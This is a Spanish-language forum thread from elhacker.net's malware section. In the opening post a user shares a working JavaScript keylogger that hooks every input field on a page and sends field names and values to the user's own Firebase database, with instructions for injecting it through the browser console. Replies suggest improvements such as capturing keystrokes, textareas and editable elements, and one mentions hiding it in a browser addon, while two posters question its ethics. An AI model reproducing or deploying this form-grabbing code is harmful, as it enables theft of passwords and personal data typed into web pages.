Foro de elhacker.net

Seguridad Informática => Análisis y Diseño de Malware => Mensaje iniciado por: ike array en 15 Diciembre 2016, 15:09 pm



Título: javascript Keylogger
Publicado por: ike array en 15 Diciembre 2016, 15:09 pm
Bueno, básicamente les voy a dejar un código que desarrollé, muy simple de hecho, igual les voy a explicar cómo usarlo, si bien es cierto que se podría mejorar y mucho, así está hasta ahora, quizás siga trabajando en él, quizás no, pero les voy a compartir lo que va.

Código:
"strict";

var input = document.querySelectorAll("input"); //Selecciona todos los imput del navegador

function saveLocal(e) {
    var url = "https://****.firebaseio.com/.json"; //Deben crear una base de datos en firebase y poner la URL acá
    var method = "PATCH"; //Metodo HTTP
    /*El e.srcElement trae el campo id="idEjemplo" y el this.value su valor el resultado sería algo como:
        tel: 30123021
     */
    var postData = '{ "' + e.srcElement.id + '": "' + this.value + '" }';
    //XMLHttpRequest es un método usado en javascript para hacer peticiones HTTP como POST, GET, Etc, etc.
    var request = new XMLHttpRequest();
    request.onload = function () {

        /*Ya acá se pueden obtener muchos tipos de respuestá del HTTP, ésto no es parte del keylogger en sí
            Pero es útil si quieren ver info de la transacción en la consola
         */
        var status = request.status; //respuesta del status HTTP, e.j., 200 for "200 OK"
        var data = request.responseText; // Datos que retorna, e.j., un documento HTML o un JSON.
        console.log(status);
        console.log(data);
    } //El onload es un evento que se lanza cuando la petición se carga
    //Abre la petición, especifica el método, envía la URL y el false es para indicar que es sincrona
    request.open(method, url, false);
    //Luego de que la petición está abierta envía la info, en éste caso el log de los inputs
    request.send(postData);
}

for (var i = 0; i < input.length; i++) {
    //Añade a cada input un evento que escucha cuándo alquien sale de la casilla y llama a la función saveLocal
    input[i].addEventListener("blur", saveLocal);
}//Loop por cada item en input

Necesitarán una URL de una base de datos, la crean acá http://firebase.google.com
Para inyectar el código lo único que tienen que hacer es abrir la consola "click derecho inspeccionar elemento de ahí en la tab de consola, en el navegador", copiar y pegar el código ya con su URL, cierran la consola y ya está, si cierran la página se pierden los cambios, si refrescan también. Espero les guste. SaluDDOS


Título: Re: javascript Keylogger
Publicado por: ThinkByYourself en 15 Diciembre 2016, 22:38 pm
Dos cosillas.

Primero, vale la pena usar JSON.stringify en lugar de cruda concatenación.
 
Es decir, en lugar de:
Código
  1. var postData = '{ "' + e.srcElement.id + '": "' + this.value + '" }';
  2.  

Valdría la pena hacer:
Código
  1. var postDataObj = {};
  2. postDataObj[e.srcElement.id] = this.value;
  3. var postData = JSON.stringify(postDataObj);
  4.  

Por el value, que puede llevar cualquier cosa.

Y luego, si quieres un keylogger, el evento en lugar de "blur" sería mejor un "change", o un "keypress", o un "keydown", o un "keyup". Pero el "blur" serviría en la mayoría de casos, no sé si en todos...

Es lo que creo. Por lo demás lo veo bien, el método PATCH no lo he usado nunca, no sé si es un requisito de Firebase (que tampoco, creo que es de pago, ¿no?). Pero sí, un bonito keylogger para cualquier página en JS plano.

Saludos


Título: Re: javascript Keylogger
Publicado por: ike array en 16 Diciembre 2016, 02:43 am
Sí, se ve más organizado así, tomaré nota para modificarlo.

Por otro lado, aclaro que Firebase it's free hasta cierto punto, pero para éste ejercicio 100% recomendada

El patch en éste caso funciona mejor que el post, pero podrías usar un post, aclarando lo del blur, probé con todos los otros eventos y para mi fue el que mejor funcionó

Saludos y gracias por el feedback :)


Título: Re: javascript Keylogger
Publicado por: [u]nsigned en 16 Diciembre 2016, 18:58 pm
Gracias por el aporte!!

Pero creo que debería ir en la Categoría Hacking Básico y no en desarrollo web, mas aún si lo presentas como un keylogger...

Y por otro lado, como programador web y webmaster que soy, no le veo un uso ético a esto. (pequeña critica constructiva, espero no la tomes a mal)

Saludos


Título: Re: javascript Keylogger
Publicado por: sommer en 18 Diciembre 2016, 03:30 am
Buen aporte pero igualmente con el comentario anterior no es algo etico y no le veo la funcionalidad a este codigio porque soy programador web orientado a Black-End aunque la unica funcionalidad que le veo a este codigo es tan solo aprender mas javascript y poder evitar este tipo de codigo evitando que se inyecten en las paginas web pero como dijo siempre " la informacion es libre " cada quien la usa para un proposito diferente.


Título: Re: javascript Keylogger
Publicado por: ThinkByYourself en 18 Diciembre 2016, 18:48 pm
Ojo. Podrían escaparse los contenteditable=true y los textareas. Y no sé si habrá alguno más.

Sí hombre, usos éticos  para monitorizar la experiencia de usuario. O para llevar un registro de los formularios que se van llenando.

Usos malos también. A mí me viene a la cabeza como complemento para cualquier addon que se preste.

Saludos